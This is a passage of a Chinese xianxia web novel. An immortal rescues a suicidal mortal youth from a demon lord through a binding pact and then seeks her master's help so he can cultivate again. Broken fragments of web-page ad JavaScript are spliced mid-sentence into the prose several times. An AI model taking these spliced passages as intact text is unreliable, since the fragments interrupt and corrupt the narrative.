落乌界王城巡猎,历年来声势浩大。三十六魔王,七十二妖王,数以万计的兵力相随,随便一只低阶魔兽都能咬断夙昼的脖子。 这一刻,容晚惊觉,她想要如夙昼所愿,却不愿他死去。 她要救他。 上因界是容皓坐镇,她执手多年,硬闯一回便闯了。只是三界分立,各自生息,她如何也不能强闯落乌界。 于公,容皓昭告三界容晚重疾卸任,她不好出面要人。 于私,她同那群妖魔鬼怪过节极多,谁会看她的面子。 眼见巡猎队伍持续往南,不过片刻就能撞见随意躺着的夙昼。 容晚心神慌乱,闭上眸思索一瞬,道,“碧落,哥哥断了我的传音灵径。你去找绯泉,让他告诉容皓,我知错了,然后请我们的仙门首座拨一道跨界传书,准我入落乌界。” “回来后随他处置。” “仙上,可是……”碧落极快应声,却迟疑着说,“哥哥说他也联系不上首座。” “不会的。”容晚道。 绯泉是容皓最亲近的仙官之一,平日里拟招、传书、宣诏,做的都是极其机密的事务,容皓绝不会断掉绯泉那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里的传音灵径。 “只管告诉你哥哥就好。他此刻应在容皓身旁侍书。” “哦,好。”碧落点了点头,将手中的伞递给容晚。 “碧落。”容晚不接过伞,俯身恭敬一礼,“我从未求过你任何,唯有此事是我心之所向,还望你速而行之。” “仙上。”向来爱笑的小仙侍扬起浅浅的酒窝笑道,“静候佳音。” 转瞬间,容晚出现于夙昼坠崖之处。她轻垂目光落在深渊之下。 容晚承认,她在逼他活着。 只期盼着那道传书快一点,再快一点。 少年的血液泛着浅金光芒,一旦被捉,虽不致死,却必会被百般凌.辱,沦为药剂。 隔着浓重黑雾,她望见夙昼黯淡无光的瞳孔,已近失色的唇微微动着,不知在说什么。 哀默目光又落在他喉结处的伤痕上,容晚怔愣着望着,思绪飞回许久以前。 被寻常家鸡吓到的夙昼,盯着满头乱草闯进她的书室,委屈道,“姐姐救我。” 他从前会撒娇,会明朗大笑,会偷偷拿着她的剑去偷隔壁院里的柿子。 他总是唤“姐姐姐姐”…… 如今身陷困境,夙昼却连她的名字也不肯唤。 容晚扣紧圆润的指尖,并不长尖的指甲攥得掌心一片血痕。她想硬闯救人,却不能。 上因界与落乌界止战数万年,如今落乌界蠢蠢欲动,战事不能因任何人而起。 谁都不行。 “夙昼,对不起。” - 王城巡猎的队伍向来声势浩大,那群魔兽长啸嘶鸣之声震耳欲聋,众人过境时激起一地粉尘,土雾眯眼。 遥遥听见魔兽声的夙昼,忽然心生庆幸。既然灵力撕扯不能杀他,那随便一个魔兽总可以杀他。 目送着行军行伍越来越近,夙昼忽然有一丝犹豫,几分眷恋,像是一片死地上发芽生根出一株野草。 想到那个人时,忽然盛开出一朵小花,娇嫩的白色花瓣挂着露珠,在漆黑的世界里绽放着微弱的光。 只是那光太弱,不足以照亮所有的黑暗。 不足以叫他生。 10. 落乌见君 金光乌血不该出现在一个凡人身上。 容晚立于两界交界之处,时刻注视着夙昼。 大批兵马过境,前锋小队第一时间发现夙昼,却没有立刻挪动他,以免这个脆弱的凡人死掉。 为首的前锋卫长捏了一个灵决,便带着十几人的小队迅速驻守于夙昼身侧。 落乌界的灵火不同于上因界浅橙亮色,而是漆黑的一团墨色光芒,星星点点地照得黑夜将明。 光影落在夙昼的眉眼五官上,他睁着眼睛望向不见天空的密林树冠,仅有细微的呼吸彰显他还活着的事实。 那道红线一般的不晴剑伤痕仍然是刺目的。 时间一分一秒地度过,容晚频繁地敲动剑鞘,指尖的动作越来越快,容皓的仙诏却迟迟不到。 “碧落,如何?” 等过片刻,灵径那头传来声音,却不是碧落的声音。 一道冷厉如冬日寒冰的男声传来,“晚晚,不会有什么仙诏。” 是容皓。 “哥哥,我……”容晚还没说话,碧落便开口道,“我哥哥只送了一道首座的传音,别的让我不要多管。” “这下,我哥哥把我的灵径也断掉了。”碧落颇为无奈,却因容晚焦急而心急如焚,忙道,“仙上,不然……你偷偷溜进落乌界吧,反正您和戮君……” “好了。”容晚眸光落在一团火光中的夙昼,她忽然觉得这一团光好热,灼烧到她的灵魂一般,像极了数年前的那场大火,让她心如刀割。 “仙山,是我说错话了,那……” 话未说完,碧落那边却被强行挂断了传音,只听见绯泉厉声斥责道,“碧落,为什么总是自作主张,怜光上仙是首座表妹,你呢?我呢?这些事的后果,你承担的起吗?” 只听碧落颇为不服道,“可是……” 下一瞬,绯泉不带半分情绪,宛如公事公办地宣诏一般,道,“私下妄议仙上,绯泉自会去禁狱领罪。属下与碧落无人可依,而这件事首座颇为看重,我等无能。” “您……”绯泉迟疑了许久,方道,“若是私入落乌界,属下必不会回禀首座。请您体恤兄长怜爱妹妹之心,属下想为碧落告假三月。” 容晚轻笑了一声,语气中却有些缺憾,“好。” 灵径已断,容晚忽然觉得十分孤独,数千年来,她第一次感受到上因界的彻骨寒意。 兄长怜爱妹妹之心? 可惜容皓从来不会怜爱她,三分偏爱便是极致。当年容晚从仙门首座的竞台上下来后,几日后苏醒,只听见衡游大骂容皓禽兽不如。 竞台之上,不留余地,至死方休。 容皓似乎从不担心她会死。 容晚不知道,容皓把她丢上竞台时是作何感想,也不懂剑光落下,容皓波澜不惊的眼神。 但她知道,仙门首座的位置比自己重要。 那是她第一次觉得冷。 - 雪随风落,容晚的肩膀上落了雪,乌发随风而吹。 这场雪极大,却漫不到落乌界去。容晚若越境,上因界首座同落乌界君首一定会立刻知晓。 若起战事,容晚为救一人,便连累两界众生。 万万不可。 纵然思绪万千,容晚的目光一直落在深渊之下。 那里有光,声音也渐渐嘈杂,不再是死寂的黑暗,身旁也不会有至亲至交尸横遍地。 她想,夙昼不会那么痛。 少年眼下并无大碍,那群长得有些歪瓜裂枣的前锋卫兵们只是围着他打诨。 “没想到这人还挺厉害?戮君居然要亲自来瞧,还吩咐我们别动他的小命。” “也是,戮君从不来巡猎的,怎么这一回偏偏来了?还刚好走的是正线,离这里不过两里路。” “废话这么多!”前锋卫长猛地敲了两个小卫兵的后颈,厉声道,“我看你俩不必休息了,直接轮岗去,等巡猎结束直接滚去杀域!” 瞬时间寂静无声。 容晚不敢相信自己听到的话。 戮君褚尽欢,原剧情中夙昼上位落乌界君首时,假死于其手下的前任君首,结局是死是活无人知晓。 如今撞上褚尽欢,夙昼应当不会有事。 之所以说出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这话,是因为在原剧情几笔带过的一千五百年里,容晚和储尽欢做了近一千年的师兄师妹。两人过节极重,在那场震惊三界的滔天大火之后,他们再也没见过面。 偶尔传来储尽欢一些消息,也是不容不痒的公事。除去有一年三界极乐宴上,容晚听说他借着酒劲大闹上因宫,和容皓过了数十招,不知吵了些什么,便再未入过上因界。 远处遥遥传来几处绯红的灯火,巨魔兽的长啸震得前锋卫们颇有默契地捂耳。 几乎是下意识,容晚望向失血颇多的夙昼,他只是微微皱了下眉,不满巨魔兽的吼声,唇边确是淡然向死的微笑。 容晚不懂,他为什么还是想死。 玄色铠甲的骑兵们骑着巨魔兽开道,纷纷站定之后,一个骑着墨色麒麟兽的男子闯入众人视线。他不曾着繁重的铠甲,身着刺绣繁复的玄色长衫,腰侧配别一把玉骨铁扇,指骨上戴着一枚白玉质地的扳指。 待到这人走近一些,众人齐呼“戮君”! 他俯视着浑身金光乌血的夙昼,轻笑道,“够新奇的。从哪掉下来的?用不用我好心送你回去?” 储尽欢的语调十分缓慢,却听不出一丝好心,只像是执鞭的上位者高高在上地玩弄笼中猎物。 忽然,储尽欢的目光定在夙昼颈间的一处,瞳孔骤然聚焦,他阴森森地笑道,“你从她那里来的啊,是不是她心情不好,踹了你下来。” 夙昼不明所以,反倒是容晚一愣,下一瞬恍然大悟,储尽欢认得出不晴剑痕,只因他自己手腕上便有极深重的一道。 久未听到夙昼的回答,储尽欢如玉长指在玄铁制的护腕上摩挲了一下,转而掐住夙昼的脖颈,指甲几乎嵌入那道血色伤痕里。 正欲掐死夙昼的储尽欢,不知感受到什么,动作一停,顺着透过层层密林的光束往上望去,忽然放松手劲,弯唇一笑,“容容,你一直在啊!” 向死的少年不顾颈间的桎梏,猛然抬头,顺着储尽欢的目光望去,却看不见容晚。 储尽欢有些生气,他缓缓加重手中的力道,笑得猖狂,“容晚,这个小废物不配你守着。” 11. 落乌见君 “配不配,不是你说了算。” 断崖之上,容晚垂眸看向褚尽欢,飘然的声音落下来。 许久未见,褚尽欢这人越发乖张,外表看上去是有几分斯文,内里却是坏透了的黑心莲。 眼见褚尽欢手劲加重,容晚思索片刻,忽而捏诀起阵,繁复灵阵在雪夜寒时乍起。 指尖一动,灵气四溢,断崖骤然下沉,几息间化为一览无余的平地,容晚的身形出现于众人眼前,却一分不曾踏入落乌界。 私改上因界疆域不是大罪名,禁狱受几道天罚便是。 褚尽欢不是第一次看见她私改疆域,手下的夙昼颈脉跳动,更是惹他烦躁,冷冰冰道,“仙上是嫌弃上因界疆域太广,想要献与本君投诚?” “我数三声。”容晚眼眸微眯,冷厉的眸光盯着褚尽欢,“你放开他。” “不放。”褚尽欢望见容晚毫不示弱的态度,手中力度渐渐加重。 眼见夙昼呼吸大乱,往日白皙的面庞此刻气色尽失,已现浓重的青紫。 “够了。”容晚指尖一抬,隔着两界结界,控着随便一把剑朝储尽欢飞去,剑风强劲,惊得储尽欢即刻偏头。 他扯了下嘴角,原本玩味的神情骤然消失,如刺的目光直射在容晚脸上。 悬浮空中的魔剑怔然碎裂,化为糜粉。 “容容,”褚尽欢气笑,“我还真当你重疾出不了门,这又是要和容皓演哪一出啊?佯装重疾,攻我落乌界?还是来找这个小废物?” 话里话外,储尽欢咄咄逼人,容晚却下意识地体会到些不明的意味。褚尽欢这个人总是言不由心,既然说了这话,十有八.九不是无缘无故地出现在此地。 “后者。”容晚浅浅应了一声,“你想要怎样?” 这人向来不按常理行事,以硬碰硬,吃亏的只有夙昼。 果不其然,褚尽欢眼眸转了转,“五指成契,答应我一件事,我放过他。” “不……”夙昼忽而强撑着出声,他血迹斑斑的手指握住褚尽欢的玄铁护腕,冰冷的触感激的他浑身一颤。 “你杀了我……”夙昼再无气力,无声而说,“杀了我。” 他已有向死之心,死于谁手没什么区别。容晚是唯一一束细小的光,他不能抓住她,也不敢抓住。 既然光亮总是会消散,他也不必连累容晚去结五指契约。 她不是很喜欢这位戮君,夙昼看得出来。 “呵!”褚尽欢松开他的脖颈,拍了拍少年尽是血污的脸颊,“你是什么东西,也敢忤逆我?” 被松开的一瞬间,身体求生的本能让夙昼大口喘息着,剧烈的咳嗽声只响过几声,便被他强压下去,死死咬着住唇。 好不容易缓过来,他望向不远处的女子,眼中被呛出的泪花把视线模糊,他努力出声,“别管我了,姐姐。” 闻言,容晚可谓是恨铁不成钢,她从未见过如此这般的少年。 他比常人坚强,不像个凡人,却又脆弱地连活着都不愿去想。 “夙昼,我想你活着,你愿意吗?”容晚大概明白他心中顾虑,清浅出声,“不过是五指成契,没什么的。” “好啊,我愿意。”褚尽欢斜斜倚在墨色麒麟兽上,眼神颇为玩味,道,“答应我什么好呢?” 容晚任凭褚尽欢自说自话,只是望着平躺在地的夙昼,她忽然明白了为何夙昼不想活着。 年少时受家中爱护,衣食无忧,前途顺遂,便只是吃吃玩玩,功课上不求一鸣惊人,只要不太差劲便无所谓。 后来,一夕之间,满门被屠只余他一人。以他的聪明才智,不难猜到是自及三灵混体给家里惹上祸事。 怎么不会恨? 他手握不晴剑,将参与夙州血案的人间势力一一屠尽,了却心头大恨,回过头却发现孤身一人,再无肆意玩闹的可能。 此刻回想起当日的情形,容晚想,她告诉夙昼仇敌并非仅有人间界的那些,少年只以为她随口扯谎,哄他活下去。 好不容易有了变强的念头,却又元灵尽碎再无修行的可能。 一击再击,终是让他畏惧了未知前路。 所以—— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 并非是容晚对他不够好。 这份好在夙昼眼中随时都会失去,所以他不敢依靠她,甚至畏惧她,以致于躲避她。 因为,只要不曾拥有过,那就一定不会失去。 “容容。”褚尽欢见她许久不说话,锐利的眸光从她脸上缓缓刮过,带着几分势在必得的自信,弯起唇角道,“再不想好,我就反悔了。” “好。”容晚应道。 听见她的声音,褚尽欢心情颇好,随意撒开身边的夙昼,不忿地踹了一脚,一步一步地往两界交界处去。 容晚尽可能忽视一身玄裳的褚尽欢,瞳孔微缩着望向他身后的夙昼。 那群歪瓜裂枣的卫兵们不知何时都已被遣散,此时只余他们三人,和那只卧倒在地,前爪按住夙昼的墨色麒麟兽。 褚尽欢轻笑道,“容容,伸手。” 一个极小的灵力漩涡出现于两界结界之中,如此这般,便不算越界。 容晚不曾看过褚尽欢一眼,这张脸她永生都不会忘记,他长相极端正俊美,有几分文人之姿,却绝不会让人觉得他是个好人。 这一点,容晚与褚尽欢同门的那些年深有体会。 容晚不情不愿地伸出手,白而干净的掌心朝上,却久久不见褚尽欢有动作。 这是什么情况?容晚有些不悦,灵力漩涡开得过久,便瞒不住容皓。何况以褚尽欢的性子,随便一件小事都能让他大闹上因宫,诸如当年三界极乐宴上的醉酒,褚尽欢暗地里被上因界的仙官嘲笑了数百年。 垂眸一看,容晚瞧见他身形微微前倾,长睫垂下来掩住那双锐利的眼睛,眸光直直钉在她的手背上。 那一道不晴剑痕醒目至极。 褚尽欢沉默片刻,强行将她的手心翻过来,“不晴剑?自己划着玩?可是这剑痕不像习剑之人所留……不会是那个小废物吧,容晚。” 此时容晚真是后悔没伸另外一只手,只可惜那一只手早已同旁人定过契。 褚尽欢冷漠的声音落下来。 “怎么办?我更想杀他了。” 12. 落乌见君 容晚不想同他废话,直接翻手扣住褚尽欢的手腕,指尖凝出灵力微微一刺,半月形的划痕落在他手腕上。 极为清亮的白色月牙显现。 墨红色的月牙印记落在容晚腕间,契约已成,她松开褚尽欢的手,道,“放人。” “乖乖。”褚尽欢并不情愿,唤一声墨色麒麟兽的名字。其实它本叫墨麒,褚尽欢却偏偏要喊一声乖乖,墨麒数次抗争无果,被迫接受这个称呼。 毛茸茸的爪子便从夙昼身上抬起。 褚尽欢目光极为深沉,盯着躺在地上的夙昼,“小废物,自己爬起来,本君便放过你一回。” 十来岁的少年,不配和他争。 容晚不过是怜悯罢了,一如当年褚尽欢和容晚救回濒死的墨麒一样,他们之于他们,只是漫长的生命里的一个玩物。 “夙昼,起来。”容晚浅声道。 浑身筋骨断裂的少年连动一下都痛,他紧攥着拳,好不容易撑起上半身,又颓然躺下去,震起一地尘土。 “废物。”褚尽欢后退了几步,明明那土雾溅不到他身上。 夙昼抬眼一望,紧咬住唇。 容晚的身影被褚尽欢遮挡住一小半,他忽然想看见一整个容晚。 既然她要他活着,那就活着? 这是他欠她的。 可是……他不想啊…… “起来。”容晚第二次喊他,面色上并无什么异样,却隐约能有几分烦躁。 指尖微微蜷了一下,隐秘的灵决隔着结界冲向夙昼。 夙昼一步一步走向容晚,他步子迈得极缓。 破碎的身体摇摇晃晃,几十步的路连走几步都困难。 “墨麒,帮我一下。”容晚朝那只长相凶恶的麒麟兽望去。 身形巨大的墨麒小心翼翼地望了一眼褚尽欢,没得到否定的答案后,起身推着夙昼往前走。 不过几息,它又嫌夙昼太慢,直接叼起夙昼大步流星地走到容晚身前。 正想慢悠悠放下夙昼,墨麒瞥见褚尽欢的眼神,吓得把夙昼随便一扔,转身狂奔到极远处,团成一团缩在地上。 它没想到褚尽欢不同意它的动作啊。 “蠢货。”褚尽欢骂道。 墨麒:“……” “戮君难得好心肠,容晚记下了。”容晚指尖一动,捏着夙昼整个人从地上站起来。 只凭夙昼自己他是站不稳的。 每一寸碎裂的骨骼处都被容晚以灵力相托,夙昼站直时竟不比褚尽欢低上许多。 “容容,我说让他自己走过去。”褚尽欢扣住夙昼的肩膀,气劲一动,细细密密的骨骼破裂之声回响。 “松手。”容晚手腕一翻,拉着夙昼藏在身后。褚尽欢只是撤了她的灵力,并没对夙昼做什么伤害之举,但是他此般举动,很不正常,还是尽快走为妙。 “行。”褚尽欢默了片刻,摇晃着腕间的白色月牙,“别忘记了你答应我的这件事。” 五指成契,毁诺即受天罚,至死方休。 “不会。”容晚道,“我甚至怕你活不到我履行诺言的时候。” 容晚把夙昼藏在身后,直到带回上因界,将他安置在屋里,点了数十簇灵火,这才冷声说道,“记清楚他的脸。” “?”夙昼仔细回想过褚尽欢的脸,点点头。 “记清楚了吗?” “嗯。” “记住了……”容晚语气蓦然一冷,“将来杀了他。” “为什么?”夙昼不懂她的冷意,明明她与褚尽欢似乎关系不错,否则褚尽欢怎可能不费气力地放过他。 “人间界中近乎百万妖魔伪装为人,你说为什么?”容晚提醒道,“有人杀你父母,祸患累及夙州,你不该杀吗?” - 接到传音不过一刻,衡游拎着药箱和正扇着灵火的小童子冲进屋内。 望见的便是夙昼一身鲜血的躺在雪白的榻褥上,衣裳被血染尽。 “疯子……”衡游惊道。 安置好夙昼后,衡游收回他身上插满的银针,问,“怎么跳一回崖就想开了?不寻死觅活了?那你不得去给断崖烧几炷香?小子。” “多谢仙上。”夙州乖巧答话,“今后我会好好活着,大仇未报……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 无颜面见父母亲长和夙州百姓。 起码现在还不能死。 “休息吧。”容晚带着衡游出门,正踏出门时,身后传来几分微弱的声音。 “仙上,我会变强。” 脚步停了一瞬,容晚便继续往外走,她坐在衡游的丹炉前大概讲了前因后果。 “两个疯子。”衡游手中的灵扇敲下来,容晚没躲。 “你想过褚尽欢会提什么要求吗?”衡游气极,也只是扇得炉火越来越旺,最终炸了一锅金丹。 “你怎么这么拼命炼丹啊?”容晚问。 “你说呢?”衡游没好气道,“你接的悬赏令那么多,这些天就得动身,不得多些药丸保命?那小子动不动寻死,万一我们俩要吃,没有了怎么办?” 不过一个人间界的废物少年,究竟为何缘故得容晚偏爱至此,衡游深感疑惑,却未曾多问。 从前仙门百家几次送来身世凄惨的孩子,想让容晚收下做个弟子,再不济小童子也可,通通被她拒绝。 回想起夙昼那张不知死活的脸,衡游道,“这小孩有什么好的?你看上了?” 容晚一愣,讥讽道,“不如看上你,你还能把你爹的剑冢陪嫁过来。” 衡游:“……” 没说几句,衡游便嫌弃容晚碍事,不是挡了他视线,就是妨碍丹炉升温,又或者吓得小童子不敢进门。 容晚依言离开,沿着如今不属于她的望春山,从山道走下来,一路上瞧不见弟子。 兜兜转转,容晚绕到夙昼窗前,却瞧见屋内无人,只有掀开的被褥和案几上一饮而空的药碗。 “仙上。” 少年清冽的声音传来。 这几日望春山落着小雪,尚有些微冷。刮起一阵风,吹来后院里那几株雪梅花瓣。 落花飞旋,落在少年肩头。 他肩头披着一件极为厚实的大氅,手里还揣着一个暖炉,身上伤痕痊愈德七七八八。 尚在病中的夙昼总是要出来走动,站在院前那颗巨大的松柏灵树下愣神。 “我还可以修行吗?仙上。” 13. 行道问仙 落花被风席卷,扑面而来。 容晚立于夙昼身前。 能否继续修行的答案,容晚和系统都不知道。世间从未有人生剜元灵后走上修行之道。 “我不知道。”容晚微微侧目,避过少年灼热的目光,道,“三界从未有过先例。” “会是……我吗?”夙昼问。 “也许会是你。”容晚道,“也许永远不会是你。” 眼下她无计可施,不代表来日仍然无计可施。 修行之道,本就因人而异,入哪一门道,走哪一条路无关紧要。 唯有适合二字。 “这样吗?”夙昼似乎听见破裂的声响,自心口一片片裂到四肢百骸。 - 上因界数处仙府灵台,唯有一处终年落雪,为望春山。 另有一处仙府长夏无冬,无夜亦无月。 容晚未曾撑伞,拎着一盏泛着灵火的灯笼,步步踏长阶。 长阶尽头,是一处府邸,外表看起来荒凉无人,牌匾门石上皆落了厚厚一层灰尘。 “弟子容晚,求师长出山。” 容晚跪于仙府门前。 微弱的光亮落在她身上。 许久,一道浑厚的声音传来,“回罢。” “师父……”容晚蓦然抬头,眼眶微红。 对于仙祖容晚向来敬重和爱戴,从未想过会走到今日,可她心知肚明,被拒于门外自然是有理由的。 六百年前时任的仙官或许还有些印象。 当年上因界一场大火,自仙祖仙府烧起,如虹火光蔓延三重天。 墨色与白色流光似星子般划过天际,直直落入落乌界,砸出一个世纪天坑,至今未曾生息。 自那一日起,容晚和褚尽欢惊世一战,二人通通被逐出师门,仙祖传音,此生再不相见。 - “师父,容晚无路可走,却又不得不闯一条路,还望师父指点迷津。” “容晚。”仙祖半是无奈,又半是严苛地说道,“你我师徒此生永不相见。” “师父……”容晚眼眶中的泪花再也忍不住,如雨后露珠般滑落脸颊,道,“我有一人不得不救,仙者之所以为仙,应福泽众生,理应不拘泥于一人生死福祸。可我不得不在意。” 纵然感念仙祖之恩,但容晚终究想回家。一千五百多年的梦太长,她想回落落涧,去见爹爹兄长。这里好归好,终归是一本书。 故而为救夙昼,她什么都可以做。 一如私下人间界,一如那场祸及三界的灵火,一如不晴剑下三千亡魂…… “师父,您曾说我和师兄此生必折于各自的道心。” 容晚清冷的面庞上划过几丝疑虑,却并不觉得有所不妥。她仍旧跪得很直,问了一句,“若我的道心是一个人呢?” 在这个世界里,她唯一的任务就是促使夙昼走向注定的命运,就算含括白月光师尊的扮演,所有的任务仍是以夙昼为中心。 她必须让夙昼走上修行之道。 “容晚!”仙祖的声音仍旧是平和淡漠的,却隐约有几分愠怒,“道心在己不在人。过刚易折,不必强求。” “师父。”容晚跪下恭敬地行了叩拜大礼,极重的一道闷声传来,她说,“只求师父指教,来日苦果容晚必偿。” 片刻的静默后,仙祖终是哀叹一声,道,“落乌界有一遗迹,乃夙州嫡系传承。那孩子若是有缘,自可悟道入仙门。” “跪谢仙长。”容晚再行三跪九拜之礼,再抬眸时,仙府灵阶一应消失。 “容晚,你我师徒缘分今日已尽。”仙祖的声音渐渐远去,直至消散。 茫茫一片虚无,云雾缭绕,容晚提着一盏熄灭无光的灯,走入茫茫云海。 此生,师父再不会应她。 - “什么?你居然去找那老头?”衡游得知时,惊得又炸了一炉灵丹。他随手把灵扇甩给小童子,拉着容晚去了内室。 “容晚,你就把最后一盏灵灯用在那小子身上了?那小子是有多好?还是你欠他什么了?”衡游从未如此动怒,他几乎想摁着容晚的脑袋把她晃醒。 虽说当年那场大火的真相少有人知,衡游却是知道不少内幕。 褚尽欢和容晚师兄妹反目,仙祖为他们二人各自留下三盏灵灯,提灯上灵阶,得其相助。 三盏灯灭,师徒缘尽。 “用都用了。”容晚不甚后悔,翻着手中的三界疆域图,问,“你知道落乌界有哪些遗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 迹吗?” “不知道!”衡游气得抢过她手中的册子,幻出一只灵毫笔仔仔细细地勾画着。 每逢出门,衡游总是会勾画好所有的地图,把一切安排妥当,自然容晚相当省心。 “给。” 一把灵弦草被递过来,衡游看得眼睛发直,惊道,“哪……哪里来的?” 灵弦草三界难寻,仙祖洞府前偶有几株,唯有缘分才能摘下。从前衡游念叨许多回,容晚也没拔给他。 刚想调笑容晚怎么就拔给他了,衡游忽然止声,再没说话。 往日容晚一拖再拖地吊着他,不过是知道总有机会送他一株。 如今容晚再也找不到仙祖仙府…… 好半响,衡游在容晚的注视下,挤出一滴眼泪,道,“我真是太感动了。至于遗迹,我还得去书阁调阅藏书,打算什么时候走?” “等跨界传书批下来吧。”容晚道,“还得要几日。” 这些天她和容皓关系紧张,容皓自然不会给她直接批文,走寻常的流程,几位仙官审下来,少说也得三五日。 “用悬赏令的由头?”衡游大致猜到些缘由,“不然上因宫那位肯定不给你批。” “嗯。”容晚点点头,“既然他暗中把所有的悬赏令都分给我,总不能让我违反仙律越界办案吧?” “你说的很对,果然是兄妹。”衡游感叹道。 “所以?”容晚冷冷地说了一声,“又不是亲的。” “你可得了吧,仙上。”衡游嘴角一撇,学着容皓装模作样道,“我们那位首座啊,可是把你强破诡道的审判书一延再延,迟迟不肯盖玺印。” 说着衡游姿势一换,打量着容晚脸上的惊讶,道,“先前每日都呈上去,后来首座不高兴,干脆锁在我老爹的暗室里……还说不亲?” 容晚一怔。 关于这份审判书,是她意料之中。 诡道中和禁狱外的各个暗处,皆有诡秘机关,一举一动都瞒不过容皓和值守仙官。 先前冲出诡道时,容晚只顾护着夙昼,未曾设法隐藏自己,何况也藏不住。 她只是—— 不能再让容皓找到机会。 夙昼若是被送进审判阵,必死无疑。 14. 行道问仙 两日后,跨界传书批下来。 衡游揣着传书跳进窗内,将书简直直递给了容晚。 “怎么这么快?”容晚执笔的手一顿,在疆域图上落下一点墨渍。 “我呀……”衡游顺手拿过容晚手侧的茶盏,一口喝下大半,平复着气息,道,“我亲自跑了一趟,瞧瞧,连玺印还是新鲜的,省得那些仙官你送给我,我交给他,拖拖拉拉好几日。” “谢了。”容晚仔细一看,传书上鲜红的玺印微湿,几乎是刚刚盖下的。 衡游的父亲衡廷肃向来掌管书灵阁,比起负责宣诏传书的绯泉要高上三级。 从容晚递交传书,进入书灵阁后层层审批,衡廷肃批文后由绯泉呈交容皓,再一层层落下来,登记在册,少说也得五日。 目光落在一枚金光玺印上,容晚微微愣神,那是容皓的玺印,也是刚落不久。 “这么顺利吗?容皓没有……” “想不想听?想不想听?三把剑来换?”衡游伸手索要,他从前用了不知道多少把剑和容晚求这求那,好在自家老爹没发现剑冢里少了剑。 偏偏过些日子剑冢清算,少了的全都得算在他头上,刚好趁着这段日子躲躲风头。 “十把。”容晚道。 “第一次他有点不愿意,把我打发走了。”衡游偏头想了想,说,“后来我趁着他和几个老头议事,送去一堆传书。里面有我递的两道,一道拆去一半,所以自然而然地……” “有一道玺印落在了你的传书上。”衡游微笑道,“怪他自己不仔细瞧。” 容晚:“……” “做什么这个表情看我?不然容皓能给你盖?”衡游声音忽然低下来,道,“容皓好像不想你去接悬赏令。” “他……”衡游有些迟疑,“我也不确定。” “我老爹接到一道传书,悬赏令散了许多出去,只是任务同你那些不太一样。” “嗯?”容晚迟疑了一瞬,看了一眼手中的越界传书,“晚有三事,归期不定,遂定无期”。 不知为何,容晚心中忽然松掉一口气,也许是…… 她终于可以逃离上因界。 - 书灵阁规章,每逢月末向上因宫回禀当月事宜。因此,容皓发现她离开上因界最快也要是一月后。 出行前大大小小的准备,容晚再没插手,凡事皆由衡游出面。 从御兽司调用三只灵凰,数只灵鸢。传音玉简、传书书简领了一堆,凡是可能用到的东西衡游通通打包整齐,他和容晚灵境被塞得满满当当。 直到离开时,衡游仍旧依依不舍,哀叹了一声,“可惜不能带走望春山,我那些苦命的灵植啊。” 容晚:“……” 也罢,望春山送出去了,还同他较个什么劲。 “姐姐。”夙昼乖巧地爬上灵凰颈背,环抱住灵凰纤细的脖颈,道,“我好了。” 考虑到夙昼没有灵力元灵,容晚半是请求,半是逼迫地让衡游同他共乘一只灵凰。 衡游自然是不愿的。他飞快地跳上灵凰,龇着牙大笑说,“我不和男人骑。” 僵持不过片刻,奶团子夙昼被塞进衡游怀里,一大一小面色都不好看。 两只灵凰扑闪着翅膀往落乌界飞去。 途径三界涡流时,容晚率先提醒道,“夙昼,想跳吗?” 衡游:“!” 夙昼:“?” “你若跳下去,我不会救你。”容晚眼眸微敛,瞳孔中闪过一丝畏惧,却是冷声道,“死了便死了,与我无关。” 话虽这样说,她在这个世界的任务便是夙昼,这话是刺激他,也是试探他。 心性不稳,谈何入道? “不会。”小夙昼竭力避开同衡游的触碰,奶乎乎的笑脸朝容晚扬过来,道,“我想成为先例。” 生剜元灵…… 仍能问仙行道的先例。 “夙昼,你若心定,我会不遗余力助你。”容晚忽然停顿一下,想起容皓高坐上因宫的身形以及那把象征身份与权力的上因剑,沉声说,“莫说问仙行道,你便是要做仙门首座亦或三界共主,我都助你。” “容晚!”衡游低声一喝。 灵凰一经借调,虽说行踪不会轻易泄露,却也会留档载册,不能轻易抹去。容晚如此说话,实在是过于大胆。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “怕什么?”容晚睨了衡游一眼,说道,“上仙之间私相授受也是违反仙律,你敢收我的望春山,还怕这一句话吗?” 衡游:“……” “好。”夙昼的声音很低,似乎一道风就能吹散。 这是对我的期望吗? 夙昼从未觉得,过去的记忆于他而言如此清晰。 十七年的时间里,容晚参与过十年。 许许多多人都曾寄期望于他。 母亲对他的期望是平安顺遂,无病无灾,父亲则是期望他文成武就,来日兼济天下。夙州百姓更是期望他执剑走四方,护天下安然。 唯独容晚对他从未有过期望。 不愿读书时,父亲会追着他打,容晚只会淡淡地说,“不读便不读好了。” 同别的孩童玩闹打架,若是赢了,接下来的时日里,容晚会格外照顾那几个孩童,丝毫不顾他艳羡的模样。若是输了,容晚递给他一只木剑,声音淡淡地同每一日的微风,她说,“练好了,揍回去。” …… 甚至容晚离开人间界那日,望着夙昼跑出门去追桂花糖老伯的身影,喊出他的名字,“夙昼,一如往常。” 当时他以为,是一如往常地买桂花糖和杏花藕粉。 殊不知,一踏出那扇门,过往繁复的记忆如烟波浩渺般消散。 一步步走在不能再熟悉的巷道里,一点点忘却所有与容晚有关的过往。 晚风扑面,他一愣神,不明白自己为何绕到了这处落满尘埃、荒废已久的宅院门前。 只是……好奇怪…… 明明院里那颗繁茂的松柏树早就遮天蔽日,盖得整条巷道一片绿荫,而不是眼前挂满枯枝,光秃秃的模样。 当时的夙昼只以为自己年少多梦,在哪个梦里见过那颗繁茂的树和树的主人。 等夙昼走出那条巷道,再一回神,便是躺在自家金丝镂鹤的檀木床上。 这下,他更是笃定自己做了一个梦。 再想,便不记得了 …… 望向前方那只灵凰背上的身影,夙昼无声而说: 姐姐,你的期望,我万死不辞。 15. 